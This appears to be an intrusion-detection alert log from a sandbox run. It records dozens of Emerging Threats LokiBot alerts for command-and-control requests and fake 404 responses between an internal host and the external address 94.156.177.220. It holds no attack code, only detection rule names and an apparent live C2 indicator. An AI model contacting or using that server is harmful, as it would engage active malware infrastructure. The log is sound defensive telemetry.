2024-10-24T08:46:15.797609+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:17.256132+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:18.375546+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-24T08:46:19.648513+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-24T08:46:20.762214+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:21.849543+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:23.281189+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:24.390800+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:25.483247+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:26.725660+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:28.399061+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:29.683232+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:30.898100+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:32.194843+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:33.628718+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:34.733384+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:35.832085+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:37.014681+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:38.149338+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:39.259709+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:40.378743+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:41.479514+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:42.564513+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:43.679806+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:45.035157+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:46.148100+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:47.878298+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:49.169376+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:50.273713+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:51.369260+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:52.485586+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:53.624164+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:54.754980+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:55.935933+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:57.102699+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:58.242857+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:46:59.354586+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-24T08:47:00.514142+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:02.970814+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:04.071738+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:05.171077+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:06.288133+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:07.393228+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:08.518293+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:09.627438+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:10.737748+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:11.855700+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:12.955608+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:14.230832+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:15.332422+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:16.428303+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:17.547052+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:18.627837+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:19.754722+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:20.851688+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:22.015332+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:23.119040+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:24.247331+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:25.347820+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:26.454873+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:27.639729+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:28.744434+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:29.996929+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:31.153128+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:32.364981+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:33.527794+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:34.612892+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:36.386309+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:37.498724+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:38.645072+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:39.740085+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49256	94.156.177.220	80	TCP

ET MALWARE LokiBot Fake 404 Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:46:10.621545+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49180	TCP
2024-10-24T08:46:11.766708+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49181	TCP
2024-10-24T08:46:13.019152+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49182	TCP
2024-10-24T08:46:14.281509+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49183	TCP
2024-10-24T08:46:15.615823+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49184	TCP
2024-10-24T08:46:17.050862+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49185	TCP
2024-10-24T08:46:18.222022+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49186	TCP
2024-10-24T08:46:19.339622+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49188	TCP
2024-10-24T08:46:20.611001+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49189	TCP
2024-10-24T08:46:21.715929+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49190	TCP
2024-10-24T08:46:22.814634+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49191	TCP
2024-10-24T08:46:24.252638+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49192	TCP
2024-10-24T08:46:25.337740+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49193	TCP
2024-10-24T08:46:26.557171+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49194	TCP
2024-10-24T08:46:28.252264+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49195	TCP
2024-10-24T08:46:29.343879+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49196	TCP
2024-10-24T08:46:30.661678+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49197	TCP
2024-10-24T08:46:31.862466+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49198	TCP
2024-10-24T08:46:33.161034+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49199	TCP
2024-10-24T08:46:34.584074+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49200	TCP
2024-10-24T08:46:35.682118+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49201	TCP
2024-10-24T08:46:36.789327+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49202	TCP
2024-10-24T08:46:37.972584+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49203	TCP
2024-10-24T08:46:39.120439+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49204	TCP
2024-10-24T08:46:40.229358+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49205	TCP
2024-10-24T08:46:41.334498+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49206	TCP
2024-10-24T08:46:42.430538+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49207	TCP
2024-10-24T08:46:43.529969+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49208	TCP
2024-10-24T08:46:44.670152+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49209	TCP
2024-10-24T08:46:45.990113+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49210	TCP
2024-10-24T08:46:47.113297+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49211	TCP
2024-10-24T08:46:48.816601+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49212	TCP
2024-10-24T08:46:50.135743+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49213	TCP
2024-10-24T08:46:51.220336+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49214	TCP
2024-10-24T08:46:52.330270+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49215	TCP
2024-10-24T08:46:53.458287+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49216	TCP
2024-10-24T08:46:54.562435+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49217	TCP
2024-10-24T08:46:55.739134+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49218	TCP
2024-10-24T08:46:56.921372+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49219	TCP
2024-10-24T08:46:58.078596+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49220	TCP
2024-10-24T08:46:59.204710+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49221	TCP
2024-10-24T08:47:00.305973+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49222	TCP
2024-10-24T08:47:01.472717+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49223	TCP
2024-10-24T08:47:03.917655+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49224	TCP
2024-10-24T08:47:05.022620+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49225	TCP
2024-10-24T08:47:06.133237+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49226	TCP
2024-10-24T08:47:07.249824+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49227	TCP
2024-10-24T08:47:08.358221+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49228	TCP
2024-10-24T08:47:09.479147+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49229	TCP
2024-10-24T08:47:10.580452+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49230	TCP
2024-10-24T08:47:11.701224+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49231	TCP
2024-10-24T08:47:12.804788+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49232	TCP
2024-10-24T08:47:14.038314+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49233	TCP
2024-10-24T08:47:15.188153+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49234	TCP
2024-10-24T08:47:16.278079+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49235	TCP
2024-10-24T08:47:17.389330+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49236	TCP
2024-10-24T08:47:18.480750+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49237	TCP
2024-10-24T08:47:19.581057+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49238	TCP
2024-10-24T08:47:20.708039+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49239	TCP
2024-10-24T08:47:21.804175+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49240	TCP
2024-10-24T08:47:22.972650+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49241	TCP
2024-10-24T08:47:24.087813+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49242	TCP
2024-10-24T08:47:25.198524+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49243	TCP
2024-10-24T08:47:26.310070+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49244	TCP
2024-10-24T08:47:27.427377+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49245	TCP
2024-10-24T08:47:28.606339+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49246	TCP
2024-10-24T08:47:29.699203+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49247	TCP
2024-10-24T08:47:30.950973+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49248	TCP
2024-10-24T08:47:32.223424+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49249	TCP
2024-10-24T08:47:33.322651+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49250	TCP
2024-10-24T08:47:34.472518+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49251	TCP
2024-10-24T08:47:36.171800+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49252	TCP
2024-10-24T08:47:37.356119+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49253	TCP
2024-10-24T08:47:38.486944+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49254	TCP
2024-10-24T08:47:39.597242+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49255	TCP
2024-10-24T08:47:40.700210+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49256	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:46:10.615957+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:11.760826+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:13.013301+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:14.275753+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:15.610265+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-24T08:46:17.050811+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:18.216510+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:19.333801+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-24T08:46:20.604827+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-24T08:46:21.710093+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:22.808952+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:24.246938+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:25.331525+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:26.551291+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:28.251730+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:29.338163+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:30.655966+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:31.856886+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:33.155234+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:34.578342+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:35.676631+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:36.783619+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:37.966886+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:39.114628+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:40.223656+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:41.328860+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:42.424772+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:43.523331+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:44.664054+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:45.984133+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:47.107551+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:48.810873+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:50.129192+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:51.214727+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:52.324683+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:53.452603+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:54.556519+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:55.732586+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:56.915668+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:58.072935+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:59.198997+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:47:00.299934+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-24T08:47:01.467081+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:03.911969+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:05.015239+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:06.127566+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:07.235602+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:08.350903+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:09.473326+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:10.574642+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:11.695700+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:12.799153+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:14.031658+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:15.182608+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:16.271864+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:17.383378+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:18.474819+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:19.574207+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:20.702266+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:21.798439+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:22.966218+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:24.081988+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:25.191206+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:26.304249+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:27.421647+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:28.598214+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:29.692195+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:30.943851+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:32.217248+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:33.316783+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:34.466932+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:36.171721+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:37.350269+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:38.481255+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:39.590691+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:40.694535+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49256	94.156.177.220	80	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:46:10.615957+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:11.760826+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:13.013301+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:14.275753+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:15.610265+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-24T08:46:17.050811+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:18.216510+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:19.333801+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-24T08:46:20.604827+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
